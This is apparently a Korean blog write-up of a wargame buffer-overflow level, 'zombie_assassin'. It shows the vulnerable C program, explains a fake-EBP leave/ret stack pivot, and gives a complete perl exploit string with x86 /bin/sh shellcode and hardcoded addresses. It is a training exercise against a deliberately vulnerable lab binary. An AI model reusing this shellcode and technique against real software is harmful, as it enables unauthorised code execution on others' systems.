티스토리 뷰
zombie_assassin.c
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
printf("%s\n", buffer);
}
zombie_assassin은 strcpy가 아닌 strncpy를 사용하여 48byte만 복사하도록 하였다.
결론적으로 buffer 40byte와 sfp 4byte, ret 4byte만 채울 수 있는 것이다.
게다가 ret는 주소가 bf와 40으로 시작할 수 없는 조건이 있었다.
그래서 주어진 fake ebp를 이용해보았다.
스택의 구조는 대충 이럴것이므로, buffer에 쓰레기값 4byte와 buffer시작주소 + 8 그리고 쉘코드를 넣고 나머지부분은 nop로 채운다음 sfp에 buffer의 시작주소, ret에 leave의 주소를 넣었다.
leave의 주소 -> 0x80484df buffer의 시작주소 -> 0xbffffa90 찾은 주소를 이용하여 공격코드를 짜보면,
`perl -e 'print "aaaa","\x98\xfa\xff\xbf","\x90"x7,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90\xfa\xff\xbf","\xdf\x84\x04\x08"'` 가 된다.
<buffer에 쓰레기값 4byte와 0xbffffa98을 넣어주는 이유> leave가 실행되면 mov ebp esp pop ebp ret 가 순서되로 실행되게 된다. leave가 실행되면 esp가 ebp의 위치를 가리키게 되어
화살표 위치에 위치하게 된다.
pop ebp를 하게 되면, ebp는 0xbfffa90 위치인 buffer의 시작부분을 가리키게 되고
esp는 4byte 위의 주소를 가리키게 된다.
ret를 하게 되면, 0x80484df로 리턴하고 다시 leave가 실행된다.
또다시 mov ebp esp가 실행되고 esp는 ebp의 위치를 가리키게 된다.
pop ebp를 하면 aaaa가 pop되고 esp는 4byte위의 주소를 가리키게 된다.
ret를 하면 0xbffffa98로 리턴하게 되고, 0xbffffa98은 nop와 쉘코드가 위치한 buffer의 주소이므로 쉘코드가 실행된다.
'SYSTEM > bof' 카테고리의 다른 글
LEVEL17 (zombie_assassin -> succubus) : function calls (0) | 2013.08.27 |
---|---|
LEVEL15 (giant -> assassin) : no stack, no RTL (0) | 2013.07.19 |
LEVEL14 (bugbear -> giant) : RTL2, only execve (1) | 2013.07.19 |
LEVEL13 (darkknight -> bugbear) : RTL1 (0) | 2013.07.19 |
LEVEL12 (golem -> darkknight) : sfp (0) | 2013.07.19 |
- Total
- Today
- Yesterday